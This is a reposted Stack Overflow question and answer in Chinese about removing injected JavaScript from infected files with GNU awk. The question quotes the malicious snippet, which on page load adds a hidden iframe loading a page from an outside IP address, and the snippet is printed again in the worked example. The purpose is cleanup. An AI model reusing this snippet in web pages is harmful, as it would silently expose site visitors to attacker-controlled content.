gpt4 book ai didi

linux - 删除一段代码

转载 作者:太空宇宙 更新时间:2023-11-04 05:38:16 26 4
gpt4 key购买 nike

我的 JS 文件中有这个恶意代码,我想删除它。所以文件中有多次出现。谁能帮助使用 SED 或 AWK 来删除它?

if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = "http://155.94.75.92/iframe.html";
document.body.appendChild(iframe);
};

}

最佳答案

将该代码段保存在名为“bad”的文件中,然后在受感染的文件上运行此代码(使用 GNU awk 进行多字符 RS):

awk -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected

在对 1 个受感染文件进行测试后,如果您对它的行为符合预期感到满意,您可以添加就地编辑标志(再次仅限 gawk)并立即在所有受感染文件上运行它:

awk -i inplace -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); print; next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected1 infected2 ... infectedN
<小时/>

写下你的命令“它不起作用”,看看它是否工作:

$ cat bad
if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = "http://155.94.75.92/iframe.html";
document.body.appendChild(iframe);
};

}

$ cat infected
foo
if (typeof window.jsuekzis == 'undefined') {
window.jsuekzis = 1;
window.onload = function() {
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = "http://155.94.75.92/iframe.html";
document.body.appendChild(iframe);
};

}
bar

$ awk -v RS='^$' -v ORS= '
NR==FNR { bad=$0; lgth=length(bad); next }
s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }
{ print }
' bad infected
foo
bar

关于linux - 删除一段代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/51862398/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com